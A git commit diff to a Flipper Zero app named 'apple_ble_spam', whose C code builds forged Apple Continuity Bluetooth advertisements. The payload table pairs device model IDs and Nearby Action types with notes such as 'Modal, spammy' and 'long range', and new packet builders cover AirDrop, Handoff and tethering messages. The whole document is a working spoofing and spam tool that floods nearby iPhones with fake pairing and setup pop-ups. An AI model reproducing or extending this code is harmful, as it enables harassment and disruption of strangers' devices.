MX 2 лет назад
Родитель
Сommit
19667130ed

+ 311 - 265
non_catalog_apps/apple_ble_spam/apple_ble_spam.c

@@ -17,284 +17,327 @@ typedef struct {
 // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
 // Custom adv logic and Airtag ID from https://techryptic.github.io/2023/09/01/Annoying-Apple-Fans/
 
-static Payload
-    payloads[] =
-        {
-            [ContinuityTypeNearbyAction] =
-                {.title = "Random Action",
-                 .text = "Spam shuffle Nearby Actions",
-                 .random = true,
-                 .msg =
-                     {
-                         .type = ContinuityTypeNearbyAction,
-                         .data = {.nearby_action = {.type = 0x00}},
-                     }},
-            [ContinuityTypeProximityPair] =
-                {.title = "Random Pair",
-                 .text = "Spam shuffle Proximity Pairs",
-                 .random = true,
-                 .msg =
-                     {
-                         .type = ContinuityTypeProximityPair,
-                         .data = {.proximity_pair = {.prefix = 0x00, .model = 0x0000}},
-                     }},
-            {.title = "AirPods Pro",
-             .text = "Modal, spammy (auto close)",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeProximityPair,
-                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0E20}},
-                 }},
-            {.title = "Beats Solo 3",
-             .text = "Modal, spammy (stays open)",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeProximityPair,
-                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0620}},
-                 }},
-            {.title = "AirPods Max",
-             .text = "Modal, laggy (stays open)",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeProximityPair,
-                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0A20}},
-                 }},
-            {.title = "Beats Flex",
-             .text = "Modal, laggy (stays open)",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeProximityPair,
-                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1020}},
-                 }},
-            {.title = "Airtag",
-             .text = "Modal, unlocked",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeProximityPair,
-                     .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0055}},
-                 }},
-            {.title = "Hermes Airtag",
-             .text = "",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeProximityPair,
-                     .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0030}},
-                 }},
-            {.title = "AppleTV AutoFill",
-             .text = "Banner, unlocked, long range",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeNearbyAction,
-                     .data = {.nearby_action = {.type = 0x13}},
-                 }},
-            {.title = "AppleTV Connecting...",
-             .text = "Modal, unlocked, long range",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeNearbyAction,
-                     .data = {.nearby_action = {.type = 0x27}},
-                 }},
-            {.title = "AppleTV Audio Sync",
-             .text = "Banner, locked, long range",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeNearbyAction,
-                     .data = {.nearby_action = {.type = 0x19}},
-                 }},
-            {.title = "AppleTV Color Balance",
-             .text = "Banner, locked",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeNearbyAction,
-                     .data = {.nearby_action = {.type = 0x1E}},
-                 }},
-            {.title = "Setup New iPhone",
-             .text = "Modal, locked",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeNearbyAction,
-                     .data = {.nearby_action = {.type = 0x09}},
-                 }},
-            {.title = "Transfer Phone Number",
-             .text = "Modal, locked",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeNearbyAction,
-                     .data = {.nearby_action = {.type = 0x02}},
-                 }},
-            {.title = "Pair AppleTV",
-             .text = "Modal, unlocked",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeNearbyAction,
-                     .data = {.nearby_action = {.type = 0x06}},
-                 }},
-            {.title = "HomePod Setup",
-             .text = "Modal, unlocked",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeNearbyAction,
-                     .data = {.nearby_action = {.type = 0x0B}},
-                 }},
-            {.title = "AirPods",
-             .text = "Modal, spammy (auto close)",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeProximityPair,
-                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0220}},
-                 }},
-            {.title = "AirPods 2nd Gen",
-             .text = "Modal, spammy (auto close)",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeProximityPair,
-                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0F20}},
-                 }},
-            {.title = "AirPods 3rd Gen",
-             .text = "Modal, spammy (auto close)",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeProximityPair,
-                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1320}},
-                 }},
-            {.title = "AirPods Pro 2nd Gen",
-             .text = "Modal, spammy (auto close)",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeProximityPair,
-                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1420}},
-                 }},
-            {.title = "Powerbeats 3",
-             .text = "Modal, spammy (stays open)",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeProximityPair,
-                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0320}},
-                 }},
-            {.title = "Powerbeats Pro",
-             .text = "Modal, spammy (auto close)",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeProximityPair,
-                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0B20}},
-                 }},
-            {.title = "Beats Solo Pro",
+static Payload payloads[] = {
+#if false
+            {.title = "AirDrop",
              .text = "",
              .random = false,
              .msg =
                  {
-                     .type = ContinuityTypeProximityPair,
-                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0C20}},
+                     .type = ContinuityTypeAirDrop,
+                     .data = {.airdrop = {}},
                  }},
-            {.title = "Beats Studio Buds",
+            {.title = "Airplay Target",
              .text = "",
              .random = false,
              .msg =
                  {
-                     .type = ContinuityTypeProximityPair,
-                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1120}},
-                 }},
-            {.title = "Beats X",
-             .text = "Modal, spammy (stays open)",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeProximityPair,
-                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0520}},
-                 }},
-            {.title = "Beats Studio 3",
-             .text = "Modal, spammy (stays open)",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeProximityPair,
-                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0920}},
-                 }},
-            {.title = "Beats Studio Pro",
-             .text = "Modal, spammy (stays open)",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeProximityPair,
-                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1720}},
+                     .type = ContinuityTypeAirplayTarget,
+                     .data = {.airplay_target = {}},
                  }},
-            {.title = "Beats Fit Pro",
+            {.title = "Handoff",
              .text = "",
              .random = false,
              .msg =
                  {
-                     .type = ContinuityTypeProximityPair,
-                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1220}},
+                     .type = ContinuityTypeHandoff,
+                     .data = {.handoff = {}},
                  }},
-            {.title = "Beats Studio Buds+",
+            {.title = "Tethering Source",
              .text = "",
              .random = false,
              .msg =
                  {
-                     .type = ContinuityTypeProximityPair,
-                     .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1620}},
-                 }},
-            {.title = "Setup New AppleTV",
-             .text = "Modal, unlocked",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeNearbyAction,
-                     .data = {.nearby_action = {.type = 0x01}},
-                 }},
-            {.title = "HomeKit AppleTV Setup",
-             .text = "Modal, unlocked",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeNearbyAction,
-                     .data = {.nearby_action = {.type = 0x0D}},
-                 }},
-            {.title = "Join This AppleTV?",
-             .text = "Modal, unlocked",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeNearbyAction,
-                     .data = {.nearby_action = {.type = 0x20}},
-                 }},
-            {.title = "AppleID for AppleTV?",
-             .text = "Modal, unlocked",
-             .random = false,
-             .msg =
-                 {
-                     .type = ContinuityTypeNearbyAction,
-                     .data = {.nearby_action = {.type = 0x2B}},
+                     .type = ContinuityTypeTetheringSource,
+                     .data = {.tethering_source = {}},
                  }},
+#endif
+    {.title = "Random Action",
+     .text = "Spam shuffle Nearby Actions",
+     .random = true,
+     .msg =
+         {
+             .type = ContinuityTypeNearbyAction,
+             .data = {.nearby_action = {.flags = 0xC0, .type = 0x00}},
+         }},
+    {.title = "Dismiss Active Actions",
+     .text = "Close current Nearby Actions",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeNearbyAction,
+             .data = {.nearby_action = {.flags = 0x00, .type = 0x00}},
+         }},
+    {.title = "AppleTV AutoFill",
+     .text = "Banner, unlocked, long range",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeNearbyAction,
+             .data = {.nearby_action = {.flags = 0xC0, .type = 0x13}},
+         }},
+    {.title = "AppleTV Connecting...",
+     .text = "Modal, unlocked, long range",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeNearbyAction,
+             .data = {.nearby_action = {.flags = 0xC0, .type = 0x27}},
+         }},
+    {.title = "Join This AppleTV?",
+     .text = "Modal, unlocked, spammy",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeNearbyAction,
+             .data = {.nearby_action = {.flags = 0xBF, .type = 0x20}},
+         }},
+    {.title = "AppleTV Audio Sync",
+     .text = "Banner, locked, long range",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeNearbyAction,
+             .data = {.nearby_action = {.flags = 0xC0, .type = 0x19}},
+         }},
+    {.title = "AppleTV Color Balance",
+     .text = "Banner, locked",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeNearbyAction,
+             .data = {.nearby_action = {.flags = 0xC0, .type = 0x1E}},
+         }},
+    {.title = "Setup New iPhone",
+     .text = "Modal, locked",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeNearbyAction,
+             .data = {.nearby_action = {.flags = 0xC0, .type = 0x09}},
+         }},
+    {.title = "Setup New Random",
+     .text = "Modal, locked, glitched",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeNearbyAction,
+             .data = {.nearby_action = {.flags = 0x40, .type = 0x09}},
+         }},
+    {.title = "Transfer Phone Number",
+     .text = "Modal, locked",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeNearbyAction,
+             .data = {.nearby_action = {.flags = 0xC0, .type = 0x02}},
+         }},
+    {.title = "HomePod Setup",
+     .text = "Modal, unlocked",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeNearbyAction,
+             .data = {.nearby_action = {.flags = 0xC0, .type = 0x0B}},
+         }},
+    {.title = "Random Pair",
+     .text = "Spam shuffle Proximity Pairs",
+     .random = true,
+     .msg =
+         {
+             .type = ContinuityTypeProximityPair,
+             .data = {.proximity_pair = {.prefix = 0x00, .model = 0x0000}},
+         }},
+    {.title = "AirPods Pro",
+     .text = "Modal, spammy (auto close)",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeProximityPair,
+             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0E20}},
+         }},
+    {.title = "Beats Solo 3",
+     .text = "Modal, spammy (stays open)",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeProximityPair,
+             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0620}},
+         }},
+    {.title = "AirPods Max",
+     .text = "Modal, laggy (stays open)",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeProximityPair,
+             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0A20}},
+         }},
+    {.title = "Beats Flex",
+     .text = "Modal, laggy (stays open)",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeProximityPair,
+             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1020}},
+         }},
+    {.title = "Airtag",
+     .text = "Modal, unlocked",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeProximityPair,
+             .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0055}},
+         }},
+    {.title = "Hermes Airtag",
+     .text = "",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeProximityPair,
+             .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0030}},
+         }},
+    {.title = "Setup New AppleTV",
+     .text = "Modal, unlocked",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeNearbyAction,
+             .data = {.nearby_action = {.flags = 0xC0, .type = 0x01}},
+         }},
+    {.title = "Pair AppleTV",
+     .text = "Modal, unlocked",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeNearbyAction,
+             .data = {.nearby_action = {.flags = 0xC0, .type = 0x06}},
+         }},
+    {.title = "HomeKit AppleTV Setup",
+     .text = "Modal, unlocked",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeNearbyAction,
+             .data = {.nearby_action = {.flags = 0xC0, .type = 0x0D}},
+         }},
+    {.title = "AppleID for AppleTV?",
+     .text = "Modal, unlocked",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeNearbyAction,
+             .data = {.nearby_action = {.flags = 0xC0, .type = 0x2B}},
+         }},
+    {.title = "AirPods",
+     .text = "Modal, spammy (auto close)",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeProximityPair,
+             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0220}},
+         }},
+    {.title = "AirPods 2nd Gen",
+     .text = "Modal, spammy (auto close)",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeProximityPair,
+             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0F20}},
+         }},
+    {.title = "AirPods 3rd Gen",
+     .text = "Modal, spammy (auto close)",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeProximityPair,
+             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1320}},
+         }},
+    {.title = "AirPods Pro 2nd Gen",
+     .text = "Modal, spammy (auto close)",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeProximityPair,
+             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1420}},
+         }},
+    {.title = "Powerbeats 3",
+     .text = "Modal, spammy (stays open)",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeProximityPair,
+             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0320}},
+         }},
+    {.title = "Powerbeats Pro",
+     .text = "Modal, spammy (auto close)",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeProximityPair,
+             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0B20}},
+         }},
+    {.title = "Beats Solo Pro",
+     .text = "",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeProximityPair,
+             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0C20}},
+         }},
+    {.title = "Beats Studio Buds",
+     .text = "Modal, spammy (auto close)",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeProximityPair,
+             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1120}},
+         }},
+    {.title = "Beats X",
+     .text = "Modal, spammy (stays open)",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeProximityPair,
+             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0520}},
+         }},
+    {.title = "Beats Studio 3",
+     .text = "Modal, spammy (stays open)",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeProximityPair,
+             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0920}},
+         }},
+    {.title = "Beats Studio Pro",
+     .text = "Modal, spammy (stays open)",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeProximityPair,
+             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1720}},
+         }},
+    {.title = "Beats Fit Pro",
+     .text = "Modal, spammy (auto close)",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeProximityPair,
+             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1220}},
+         }},
+    {.title = "Beats Studio Buds+",
+     .text = "Modal, spammy (auto close)",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeProximityPair,
+             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1620}},
+         }},
 };
 
 struct {
     size_t count;
-    ContinuityData** data;
-} randoms[ContinuityTypeCount] = {
-    [ContinuityTypeNearbyAction] = {0, NULL},
-    [ContinuityTypeProximityPair] = {0, NULL},
-};
+    ContinuityData** datas;
+} randoms[ContinuityTypeCount] = {0};
 
 typedef struct {
     bool advertising;
@@ -314,7 +357,7 @@ static int32_t adv_thread(void* ctx) {
     while(state->advertising) {
         if(payload->random) {
             size_t random_i = rand() % randoms[type].count;
-            memcpy(&msg->data, randoms[type].data[random_i], sizeof(msg->data));
+            memcpy(&msg->data, randoms[type].datas[random_i], sizeof(msg->data));
         }
         continuity_generate_packet(msg, state->packet);
         furi_hal_bt_set_custom_adv_data(state->packet, state->size);
@@ -329,10 +372,10 @@ static void toggle_adv(State* state, Payload* payload) {
         furi_thread_flags_set(furi_thread_get_id(state->thread), true);
         furi_thread_join(state->thread);
         state->payload = NULL;
+        furi_hal_bt_set_custom_adv_data(NULL, 0);
         free(state->packet);
         state->packet = NULL;
         state->size = 0;
-        furi_hal_bt_set_custom_adv_data(NULL, 0);
     } else {
         state->size = continuity_get_packet_size(payload->msg.type);
         state->packet = malloc(state->size);
@@ -384,15 +427,18 @@ static void input_callback(InputEvent* input, void* ctx) {
 
 int32_t apple_ble_spam(void* p) {
     UNUSED(p);
-    for(size_t payload_i = ContinuityTypeCount; payload_i < COUNT_OF(payloads); payload_i++) {
+    for(size_t payload_i = 0; payload_i < COUNT_OF(payloads); payload_i++) {
+        if(payloads[payload_i].random) continue;
         randoms[payloads[payload_i].msg.type].count++;
     }
-    for(size_t random_i = 0; random_i < ContinuityTypeCount; random_i++) {
-        randoms[random_i].data = malloc(sizeof(ContinuityData*) * randoms[random_i].count);
-        size_t data_i = 0;
-        for(size_t payload_i = ContinuityTypeCount; payload_i < COUNT_OF(payloads); payload_i++) {
-            if(payloads[payload_i].msg.type == random_i) {
-                randoms[random_i].data[data_i++] = &payloads[payload_i].msg.data;
+    for(ContinuityType type = 0; type < ContinuityTypeCount; type++) {
+        if(!randoms[type].count) continue;
+        randoms[type].datas = malloc(sizeof(ContinuityData*) * randoms[type].count);
+        size_t random_i = 0;
+        for(size_t payload_i = 0; payload_i < COUNT_OF(payloads); payload_i++) {
+            if(payloads[payload_i].random) continue;
+            if(payloads[payload_i].msg.type == type) {
+                randoms[type].datas[random_i++] = &payloads[payload_i].msg.data;
             }
         }
     }
@@ -464,8 +510,8 @@ int32_t apple_ble_spam(void* p) {
     furi_thread_free(state->thread);
     free(state);
 
-    for(size_t random_i = 0; random_i < ContinuityTypeCount; random_i++) {
-        free(randoms[random_i].data);
+    for(ContinuityType type = 0; type < ContinuityTypeCount; type++) {
+        free(randoms[type].datas);
     }
     return 0;
 }

+ 83 - 24
non_catalog_apps/apple_ble_spam/lib/continuity/continuity.c

@@ -7,52 +7,65 @@
 // Custom adv logic and Airtag ID from https://techryptic.github.io/2023/09/01/Annoying-Apple-Fans/
 
 static const char* continuity_type_names[ContinuityTypeCount] = {
-    [ContinuityTypeNearbyAction] = "Nearby Action",
+    [ContinuityTypeAirDrop] = "AirDrop",
     [ContinuityTypeProximityPair] = "Proximity Pair",
+    [ContinuityTypeAirplayTarget] = "Airplay Target",
+    [ContinuityTypeHandoff] = "Handoff",
+    [ContinuityTypeTetheringSource] = "Tethering Source",
+    [ContinuityTypeNearbyAction] = "Nearby Action",
 };
 const char* continuity_get_type_name(ContinuityType type) {
     return continuity_type_names[type];
 }
 
 static size_t continuity_packet_sizes[ContinuityTypeCount] = {
-    [ContinuityTypeNearbyAction] = 23,
+    [ContinuityTypeAirDrop] = 24,
     [ContinuityTypeProximityPair] = 31,
+    [ContinuityTypeAirplayTarget] = 12,
+    [ContinuityTypeHandoff] = 20,
+    [ContinuityTypeTetheringSource] = 12,
+    [ContinuityTypeNearbyAction] = 11,
 };
 size_t continuity_get_packet_size(ContinuityType type) {
     return continuity_packet_sizes[type];
 }
 
 void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) {
+    size_t size = continuity_get_packet_size(msg->type);
     size_t i = 0;
-    packet[i++] = continuity_get_packet_size(msg->type) - 1;
-    packet[i++] = 0xff;
-    packet[i++] = 0x4c;
-    packet[i++] = 0x00;
+
+    packet[i] = size - i - 1; // Packet Length
+    i++;
+    packet[i++] = 0xff; // Packet Header
+    packet[i++] = 0x4c; // ...
+    packet[i++] = 0x00; // ...
+    packet[i++] = msg->type; // Type
+    packet[i] = size - i - 1; // Message Length
+    i++;
+
     switch(msg->type) {
-    case ContinuityTypeNearbyAction:
-        packet[i++] = 0x04;
-        packet[i++] = 0x04;
-        packet[i++] = 0x2a;
-        packet[i++] = 0x00;
-        packet[i++] = 0x00;
-        packet[i++] = 0x00;
-        packet[i++] = 0x0f; // Type (Nearby Action)
-        packet[i++] = 0x05; // Length
-        packet[i++] = 0xc1; // Action Flags
-        packet[i++] = msg->data.nearby_action.type;
-        packet[i++] = (rand() % 256); // Authentication Tag
-        packet[i++] = (rand() % 256); // ...
-        packet[i++] = (rand() % 256); // ...
-        packet[i++] = (rand() % 256); // Action Parameters
-        packet[i++] = (rand() % 256); // ...
+    case ContinuityTypeAirDrop:
+        packet[i++] = 0x00; // Zeros
+        packet[i++] = 0x00; // ...
+        packet[i++] = 0x00; // ...
+        packet[i++] = 0x00; // ...
+        packet[i++] = 0x00; // ...
+        packet[i++] = 0x00; // ...
+        packet[i++] = 0x00; // ...
+        packet[i++] = 0x00; // ...
+        packet[i++] = 0x01; // Version
+        packet[i++] = (rand() % 256); // AppleID
         packet[i++] = (rand() % 256); // ...
+        packet[i++] = (rand() % 256); // Phone Number
         packet[i++] = (rand() % 256); // ...
+        packet[i++] = (rand() % 256); // Email
         packet[i++] = (rand() % 256); // ...
+        packet[i++] = (rand() % 256); // Email2
         packet[i++] = (rand() % 256); // ...
+        packet[i++] = 0x00; // Zero
         break;
+
     case ContinuityTypeProximityPair:
-        packet[i++] = 0x07; // Type (Proximity Pair)
-        packet[i++] = 0x19; // Length
         packet[i++] = msg->data.proximity_pair.prefix; // Prefix (paired 0x01 new0x07 airtag 0x05)
         packet[i++] = msg->data.proximity_pair.model >> 8;
         packet[i++] = msg->data.proximity_pair.model & 0xFF;
@@ -79,6 +92,52 @@ void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) {
         packet[i++] = (rand() % 256); // ...
         packet[i++] = (rand() % 256); // ...
         break;
+
+    case ContinuityTypeAirplayTarget:
+        packet[i++] = (rand() % 256); // Flags
+        packet[i++] = (rand() % 256); // Configuration Seed
+        packet[i++] = (rand() % 256); // IPv4 Address
+        packet[i++] = (rand() % 256); // ...
+        packet[i++] = (rand() % 256); // ...
+        packet[i++] = (rand() % 256); // ...
+        break;
+
+    case ContinuityTypeHandoff:
+        packet[i++] = 0x01; // Version
+        packet[i++] = (rand() % 256); // Initialization Vector
+        packet[i++] = (rand() % 256); // ...
+        packet[i++] = (rand() % 256); // AES-GCM Auth Tag
+        packet[i++] = (rand() % 256); // Encrypted Payload
+        packet[i++] = (rand() % 256); // ...
+        packet[i++] = (rand() % 256); // ...
+        packet[i++] = (rand() % 256); // ...
+        packet[i++] = (rand() % 256); // ...
+        packet[i++] = (rand() % 256); // ...
+        packet[i++] = (rand() % 256); // ...
+        packet[i++] = (rand() % 256); // ...
+        packet[i++] = (rand() % 256); // ...
+        packet[i++] = (rand() % 256); // ...
+        break;
+
+    case ContinuityTypeTetheringSource:
+        packet[i++] = 0x01; // Version
+        packet[i++] = (rand() % 256); // Flags
+        packet[i++] = (rand() % 101); // Battery Life
+        packet[i++] = 0x00; // Cell Service Type
+        packet[i++] = (rand() % 8); // ...
+        packet[i++] = (rand() % 5); // Cell Service Strength
+        break;
+
+    case ContinuityTypeNearbyAction:
+        packet[i] = msg->data.nearby_action.flags; // Action Flags
+        if(packet[i] == 0xBF && rand() % 2) packet[i]++; // Ugly hack to shift 0xBF-0xC0 for spam
+        i++;
+        packet[i++] = msg->data.nearby_action.type;
+        packet[i++] = (rand() % 256); // Authentication Tag
+        packet[i++] = (rand() % 256); // ...
+        packet[i++] = (rand() % 256); // ...
+        break;
+
     default:
         break;
     }

+ 17 - 4
non_catalog_apps/apple_ble_spam/lib/continuity/continuity.h

@@ -9,19 +9,32 @@
 // Custom adv logic and Airtag ID from https://techryptic.github.io/2023/09/01/Annoying-Apple-Fans/
 
 typedef enum {
-    ContinuityTypeNearbyAction,
-    ContinuityTypeProximityPair,
+    ContinuityTypeAirDrop = 0x05,
+    ContinuityTypeProximityPair = 0x07,
+    ContinuityTypeAirplayTarget = 0x09,
+    ContinuityTypeHandoff = 0x0C,
+    ContinuityTypeTetheringSource = 0x0E,
+    ContinuityTypeNearbyAction = 0x0F,
     ContinuityTypeCount
 } ContinuityType;
 
 typedef union {
     struct {
-        uint8_t type;
-    } nearby_action;
+    } airdrop;
     struct {
         uint8_t prefix;
         uint16_t model;
     } proximity_pair;
+    struct {
+    } airplay_target;
+    struct {
+    } handoff;
+    struct {
+    } tethering_source;
+    struct {
+        uint8_t flags;
+        uint8_t type;
+    } nearby_action;
 } ContinuityData;
 
 typedef struct {